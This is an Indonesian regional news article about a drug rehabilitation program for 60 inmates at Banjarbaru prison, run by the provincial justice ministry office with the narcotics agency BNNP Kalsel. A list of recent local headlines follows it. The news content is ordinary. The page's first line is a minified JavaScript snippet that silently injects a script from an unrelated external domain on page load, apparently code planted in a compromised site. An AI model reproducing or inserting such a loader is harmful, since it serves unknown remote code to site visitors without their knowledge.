(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Layanan Rehabilitasi Narkoba Kemenkumham-BNNP Kalsel di Lapas Banjarbaru


BANJARBARU, Sebanyak 60 Warga Binaan Pemasyarakatan (WBP) Lapas Banjarbaru mengikuti kegiatan layanan rehabilitasi bagi warga binaan dan tahanan penyalahgunaan Narkotika. Rehabilitasi ini digelar Kanwil Kemenkumham Kalsel bekerjasama dengan Badan Nasional Narkotika Provinsi Kalimantan Selatan (BNNP Kalsel), Senin (25/6), di Lapas Kelas III Banjarbaru

Rehabilitasi adalah proses pemulihan pada ketergantungan penyalahgunaan narkoba (pecandu) secara komprehensif meliputi aspek biopsikososial dan spiritual, sehingga memerlukan waktu lama, kemauan keras, kesabaran, konsistensi, dan pembelajaran terus-menerus.

Kepala Kantor Wilayah Kemenkumkumham Kalsel Ferdinand Siagian didampingi Kepala Divisi Pemasyarakatan Asef Sarifudin dihadapan warga binaan mengatakan perlu persiapan seseorang utntuk terlepas dari jerat Narkotika.

“Ketika sudah kenal yang namanya narkotika itu sangat sulit untuk lepas, untuk itu diperlukan ketegasan dan kesungguhan hati yang kuat untuk berhenti dan sekarang mumpung ada rehab lakukanlah yang terbaik,” katanya.

Sementara itu Ketua Tim Asesor dari BNNP Kalsel, Kabid Rehabilitasi Sandra Murthy menjelaskan, setelah dilakukan tes urine, warga binaan pemasyarakatan akan didibuatkan surat pernyataan.


“Kita membuat surat pernyataan bahwa mereka bersedia diperiksa oleh tim Asesmen, bersedia mengikuti program rehabilitasi dan bersedia mengikuti program pasca rehabiltasi setelah dinyatakan selesai mengikuti program rehabilitasi,” jelasnya.

Kegiatan tersebut adalah untuk memberikan pelatihan dan terapi bagi peserta layanan rehabilitasi dan juga memberikan perubahan mindset bagi warga binaan pecandu.

“Rehabilitasi adalah suatu kebutuhan dan bukan paksaan, serta memberikan pemahaman dampak dari penyalahgunaan narkotika, sehingga peserta dapat merubah pola hidup yang tidak sehat dari pemakaian narkotika,” bebernya. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

33 menit ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

59 menit ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

1 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

1 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

2 jam ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

2 jam ago

This website uses cookies.